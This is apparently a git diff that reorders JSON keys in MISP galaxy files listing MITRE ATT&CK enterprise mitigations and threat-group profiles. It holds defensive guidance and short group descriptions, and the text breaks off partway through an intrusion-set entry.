+ "uuid": "797312d4-8a84-4daf-9c56-57da4133c322",
+ "value": "Trusted Relationship Mitigation - T1199"
},
{
"description": "Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed. Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.",
- "value": "Sudo Caching Mitigation - T1206",
- "uuid": "dbf0186e-722d-4a0a-af6a-b3460f162f84",
"meta": {
"external_id": "T1206"
- }
+ },
+ "uuid": "dbf0186e-722d-4a0a-af6a-b3460f162f84",
+ "value": "Sudo Caching Mitigation - T1206"
},
{
"description": "Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.\n\nGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
- "value": "Third-party Software Mitigation - T1072",
- "uuid": "160af6af-e733-4b6a-a04a-71c620ac0930",
"meta": {
"external_id": "T1072"
- }
+ },
+ "uuid": "160af6af-e733-4b6a-a04a-71c620ac0930",
+ "value": "Third-party Software Mitigation - T1072"
},
{
"description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Video Capture Mitigation - T1125",
- "uuid": "d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d",
"meta": {
"external_id": "T1125"
- }
+ },
+ "uuid": "d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d",
+ "value": "Video Capture Mitigation - T1125"
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Extra Window Memory Injection Mitigation - T1181",
- "uuid": "cba5667e-e3c6-44a4-811c-266dbc00e440",
"meta": {
"external_id": "T1181"
- }
+ },
+ "uuid": "cba5667e-e3c6-44a4-811c-266dbc00e440",
+ "value": "Extra Window Memory Injection Mitigation - T1181"
},
{
"description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)\n\nWindows Group Policy can be used to manage root certificates and the Flags value of HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root\\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)",
- "value": "Install Root Certificate Mitigation - T1130",
- "uuid": "23061b40-a7b6-454f-8950-95d5ff80331c",
"meta": {
"external_id": "T1130"
- }
+ },
+ "uuid": "23061b40-a7b6-454f-8950-95d5ff80331c",
+ "value": "Install Root Certificate Mitigation - T1130"
},
{
"description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to Valid Accounts",
- "value": "Brute Force Mitigation - T1110",
- "uuid": "4a99fecc-680b-448e-8fe7-8144c60d272c",
"meta": {
"external_id": "T1110"
- }
+ },
+ "uuid": "4a99fecc-680b-448e-8fe7-8144c60d272c",
+ "value": "Brute Force Mitigation - T1110"
},
{
"description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.",
- "value": "Keychain Mitigation - T1142",
- "uuid": "56648de3-8947-4559-90c4-eda10acc0f5a",
"meta": {
"external_id": "T1142"
- }
+ },
+ "uuid": "56648de3-8947-4559-90c4-eda10acc0f5a",
+ "value": "Keychain Mitigation - T1142"
},
{
"description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Email Collection Mitigation - T1114",
- "uuid": "383caaa3-c46a-4f61-b2e3-653eb132f0e7",
"meta": {
"external_id": "T1114"
- }
+ },
+ "uuid": "383caaa3-c46a-4f61-b2e3-653eb132f0e7",
+ "value": "Email Collection Mitigation - T1114"
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS. (Citation: Microsoft BITS)",
- "value": "BITS Jobs Mitigation - T1197",
- "uuid": "cb825b86-3f3b-4686-ba99-44878f5d3173",
"meta": {
"external_id": "T1197"
- }
+ },
+ "uuid": "cb825b86-3f3b-4686-ba99-44878f5d3173",
+ "value": "BITS Jobs Mitigation - T1197"
},
{
"description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.",
- "value": "Exploitation for Privilege Escalation Mitigation - T1068",
- "uuid": "92e6d080-ca3f-4f95-bc45-172a32c4e502",
"meta": {
"external_id": "T1068"
- }
+ },
+ "uuid": "92e6d080-ca3f-4f95-bc45-172a32c4e502",
+ "value": "Exploitation for Privilege Escalation Mitigation - T1068"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Remote File Copy Mitigation - T1105",
- "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a",
"meta": {
"external_id": "T1105"
- }
+ },
+ "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a",
+ "value": "Remote File Copy Mitigation - T1105"
},
{
"description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities used to invoke execution.",
- "value": "Indirect Command Execution Mitigation - T1202",
- "uuid": "1e614ba5-2fc5-4464-b512-2ceafb14d76d",
"meta": {
"external_id": "T1202"
- }
+ },
+ "uuid": "1e614ba5-2fc5-4464-b512-2ceafb14d76d",
+ "value": "Indirect Command Execution Mitigation - T1202"
},
{
"description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Exfiltration Over Alternative Protocol Mitigation - T1048",
- "uuid": "0e5bdf42-a7f7-4d16-a074-4915bd262f80",
"meta": {
"external_id": "T1048"
- }
+ },
+ "uuid": "0e5bdf42-a7f7-4d16-a074-4915bd262f80",
+ "value": "Exfiltration Over Alternative Protocol Mitigation - T1048"
},
{
"description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of Valid Accounts.",
- "value": "Private Keys Mitigation - T1145",
- "uuid": "f27ef4f2-71fe-48b6-b7f4-02dcac14320e",
"meta": {
"external_id": "T1145"
- }
+ },
+ "uuid": "f27ef4f2-71fe-48b6-b7f4-02dcac14320e",
+ "value": "Private Keys Mitigation - T1145"
},
{
"description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.",
- "value": "Rc.common Mitigation - T1163",
- "uuid": "c3cf2312-3aab-4aaf-86e6-ab3505430482",
"meta": {
"external_id": "T1163"
- }
+ },
+ "uuid": "c3cf2312-3aab-4aaf-86e6-ab3505430482",
+ "value": "Rc.common Mitigation - T1163"
},
{
"description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of Valid Accounts. Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.",
- "value": "Access Token Manipulation Mitigation - T1134",
- "uuid": "c61fee9f-16fb-4f8c-bbf0-869093fcd4a6",
"meta": {
"external_id": "T1134"
- }
+ },
+ "uuid": "c61fee9f-16fb-4f8c-bbf0-869093fcd4a6",
+ "value": "Access Token Manipulation Mitigation - T1134"
},
{
"description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.",
- "value": "Hidden Window Mitigation - T1143",
- "uuid": "fae44eea-caa7-42b7-a2e2-0c815ba81b9a",
"meta": {
"external_id": "T1143"
- }
+ },
+ "uuid": "fae44eea-caa7-42b7-a2e2-0c815ba81b9a",
+ "value": "Hidden Window Mitigation - T1143"
},
{
"description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)",
- "value": "Remote Desktop Protocol Mitigation - T1076",
- "uuid": "53b3b027-bed3-480c-9101-1247047d0fe6",
"meta": {
"external_id": "T1076"
- }
+ },
+ "uuid": "53b3b027-bed3-480c-9101-1247047d0fe6",
+ "value": "Remote Desktop Protocol Mitigation - T1076"
},
{
"description": "To mitigate adversary access to information repositories for collection:\n\n* Develop and publish policies that define acceptable information to be stored\n* Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization\n* Enforce the principle of least-privilege\n* Periodic privilege review of accounts\n* Mitigate access to Valid Accounts that may be used to access repositories",
- "value": "Data from Information Repositories Mitigation - T1213",
- "uuid": "13cad982-35e3-4340-9095-7124b653df4b",
"meta": {
"external_id": "T1213"
- }
+ },
+ "uuid": "13cad982-35e3-4340-9095-7124b653df4b",
+ "value": "Data from Information Repositories Mitigation - T1213"
},
{
"description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Web Service Mitigation - T1102",
- "uuid": "4689b9fb-dca4-473e-831b-34717ad50c97",
"meta": {
"external_id": "T1102"
- }
+ },
+ "uuid": "4689b9fb-dca4-473e-831b-34717ad50c97",
+ "value": "Web Service Mitigation - T1102"
},
{
"description": "Users need to be trained to know which programs ask for permission and why. Follow mitigation recommendations for AppleScript.",
- "value": "Input Prompt Mitigation - T1141",
- "uuid": "8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df",
"meta": {
"external_id": "T1141"
- }
+ },
+ "uuid": "8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df",
+ "value": "Input Prompt Mitigation - T1141"
},
{
"description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Network Service Scanning Mitigation - T1046",
- "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3",
"meta": {
"external_id": "T1046"
- }
+ },
+ "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3",
+ "value": "Network Service Scanning Mitigation - T1046"
},
{
"description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
- "value": "Windows Management Instrumentation Event Subscription Mitigation - T1084",
- "uuid": "0bc3ce00-83bc-4a92-a042-79ffbc6af259",
"meta": {
"external_id": "T1084"
- }
+ },
+ "uuid": "0bc3ce00-83bc-4a92-a042-79ffbc6af259",
+ "value": "Windows Management Instrumentation Event Subscription Mitigation - T1084"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Data from Local System Mitigation - T1005",
- "uuid": "7ee0879d-ce4f-4f54-a96b-c532dfb98ffd",
"meta": {
"external_id": "T1005"
- }
+ },
+ "uuid": "7ee0879d-ce4f-4f54-a96b-c532dfb98ffd",
+ "value": "Data from Local System Mitigation - T1005"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Custom Cryptographic Protocol Mitigation - T1024",
- "uuid": "a569295c-a093-4db4-9fb4-7105edef85ad",
"meta": {
"external_id": "T1024"
- }
+ },
+ "uuid": "a569295c-a093-4db4-9fb4-7105edef85ad",
+ "value": "Custom Cryptographic Protocol Mitigation - T1024"
},
{
"description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)",
- "value": "Credentials in Files Mitigation - T1081",
- "uuid": "0472af99-f25c-4abe-9fce-010fa3450e72",
"meta": {
"external_id": "T1081"
- }
+ },
+ "uuid": "0472af99-f25c-4abe-9fce-010fa3450e72",
+ "value": "Credentials in Files Mitigation - T1081"
},
{
"description": "Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.",
- "value": "Port Knocking Mitigation - T1205",
- "uuid": "f6b7c116-0821-4eb7-9b24-62bd09b3e575",
"meta": {
"external_id": "T1205"
- }
+ },
+ "uuid": "f6b7c116-0821-4eb7-9b24-62bd09b3e575",
+ "value": "Port Knocking Mitigation - T1205"
},
{
"description": "Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.",
- "value": "Drive-by Compromise Mitigation - T1189",
- "uuid": "7a4d0054-53cd-476f-88af-955dddc80ee0",
"meta": {
"external_id": "T1189"
- }
+ },
+ "uuid": "7a4d0054-53cd-476f-88af-955dddc80ee0",
+ "value": "Drive-by Compromise Mitigation - T1189"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Permission Groups Discovery Mitigation - T1069",
- "uuid": "dd9a85ad-6a92-4986-a215-b01d0ce7b987",
"meta": {
"external_id": "T1069"
- }
+ },
+ "uuid": "dd9a85ad-6a92-4986-a215-b01d0ce7b987",
+ "value": "Permission Groups Discovery Mitigation - T1069"
},
{
"description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of Valid Accounts.\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
- "value": "Logon Scripts Mitigation - T1037",
- "uuid": "9ab7de33-99b2-4d8d-8cf3-182fa0015cc2",
"meta": {
"external_id": "T1037"
- }
+ },
+ "uuid": "9ab7de33-99b2-4d8d-8cf3-182fa0015cc2",
+ "value": "Logon Scripts Mitigation - T1037"
},
{
"description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)",
- "value": "Code Signing Mitigation - T1116",
- "uuid": "82fbc58b-171d-4a2d-9a20-c6b2a716bd08",
"meta": {
"external_id": "T1116"
- }
+ },
+ "uuid": "82fbc58b-171d-4a2d-9a20-c6b2a716bd08",
+ "value": "Code Signing Mitigation - T1116"
},
{
"description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.",
- "value": "Hardware Additions Mitigation - T1200",
- "uuid": "54e8722d-2faf-4b1b-93b6-6cbf9551669f",
"meta": {
"external_id": "T1200"
- }
+ },
+ "uuid": "54e8722d-2faf-4b1b-93b6-6cbf9551669f",
+ "value": "Hardware Additions Mitigation - T1200"
},
{
"description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)",
- "value": "Windows Remote Management Mitigation - T1028",
- "uuid": "3e9f8875-d2f7-4380-a578-84393bd3b025",
"meta": {
"external_id": "T1028"
- }
+ },
+ "uuid": "3e9f8875-d2f7-4380-a578-84393bd3b025",
+ "value": "Windows Remote Management Mitigation - T1028"
},
{
"description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation for Privilege Escalation to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
- "value": "Web Shell Mitigation - T1100",
- "uuid": "bcc91b8c-f104-4710-964e-1d5409666736",
"meta": {
"external_id": "T1100"
- }
+ },
+ "uuid": "bcc91b8c-f104-4710-964e-1d5409666736",
+ "value": "Web Shell Mitigation - T1100"
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Process Doppelgänging Mitigation - T1186",
- "uuid": "34d6a2ef-370e-4d21-a34b-6208b7c78f31",
"meta": {
"external_id": "T1186"
- }
+ },
+ "uuid": "34d6a2ef-370e-4d21-a34b-6208b7c78f31",
+ "value": "Process Doppelgänging Mitigation - T1186"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Data Obfuscation Mitigation - T1001",
- "uuid": "d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e",
"meta": {
"external_id": "T1001"
- }
+ },
+ "uuid": "d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e",
+ "value": "Data Obfuscation Mitigation - T1001"
},
{
"description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Software Packing Mitigation - T1045",
- "uuid": "c95c8b5c-b431-43c9-9557-f494805e2502",
"meta": {
"external_id": "T1045"
- }
+ },
+ "uuid": "c95c8b5c-b431-43c9-9557-f494805e2502",
+ "value": "Software Packing Mitigation - T1045"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Security Software Discovery Mitigation - T1063",
- "uuid": "bd2554b8-634f-4434-a986-9b49c29da2ae",
"meta": {
"external_id": "T1063"
- }
+ },
+ "uuid": "bd2554b8-634f-4434-a986-9b49c29da2ae",
+ "value": "Security Software Discovery Mitigation - T1063"
}
- ]
+ ],
+ "version": 4
}
diff --git a/clusters/mitre-enterprise-attack-intrusion-set.json b/clusters/mitre-enterprise-attack-intrusion-set.json
index e731aea..2c194f2 100644
--- a/clusters/mitre-enterprise-attack-intrusion-set.json
+++ b/clusters/mitre-enterprise-attack-intrusion-set.json
@@ -1,124 +1,129 @@
{
- "name": "Enterprise Attack -intrusion Set",
- "type": "mitre-enterprise-attack-intrusion-set",
- "description": "Name of ATT&CK Group",
- "version": 4,
- "source": "https://github.com/mitre/cti",
- "uuid": "01f18402-1708-11e8-ac1c-1ffb3c4a7775",
"authors": [
"MITRE"
],
+ "description": "Name of ATT&CK Group",
+ "name": "Enterprise Attack -intrusion Set",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-enterprise-attack-intrusion-set",
+ "uuid": "01f18402-1708-11e8-ac1c-1ffb3c4a7775",
"values": [
{
"description": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm. (Citation: Kaspersky Poseidon Group)",
- "value": "Poseidon Group - G0033",
"meta": {
- "synonyms": [
- "Poseidon Group"
- ],
+ "external_id": "G0033",
"refs": [
"https://attack.mitre.org/wiki/Group/G0033",
"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
],
- "external_id": "G0033"
+ "synonyms": [
+ "Poseidon Group"
+ ]
},
- "uuid": "7ecc3b4f-5cdb-457e-b55a-df376b359446"
+ "uuid": "7ecc3b4f-5cdb-457e-b55a-df376b359446",
+ "value": "Poseidon Group - G0033"
},
{
"description": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)",
- "value": "Group5 - G0043",
"meta": {
- "synonyms": [
- "Group5"
- ],
+ "external_id": "G0043",
"refs": [
"https://attack.mitre.org/wiki/Group/G0043",
"https://citizenlab.org/2016/08/group5-syria/"
],
- "external_id": "G0043"
+ "synonyms": [
+ "Group5"
+ ]
},
- "uuid": "7331c66a-5601-4d3f-acf6-ad9e3035eb40"
+ "uuid": "7331c66a-5601-4d3f-acf6-ad9e3035eb40",
+ "value": "Group5 - G0043"
},
{
"description": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)",
- "value": "PittyTiger - G0011",
"meta": {
- "synonyms": [
- "PittyTiger"
- ],
+ "external_id": "G0011",
"refs": [
"https://attack.mitre.org/wiki/Group/G0011",
"http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2",
"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html"
],
- "external_id": "G0011"
+ "synonyms": [
+ "PittyTiger"
+ ]
},
- "uuid": "fe98767f-9df8-42b9-83c9-004b1dec8647"
+ "uuid": "fe98767f-9df8-42b9-83c9-004b1dec8647",
+ "value": "PittyTiger - G0011"
},
{
"description": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. (Citation: FireEye admin@338)",
- "value": "admin@338 - G0018",
"meta": {
- "synonyms": [
- "admin@338"
- ],
+ "external_id": "G0018",
"refs": [
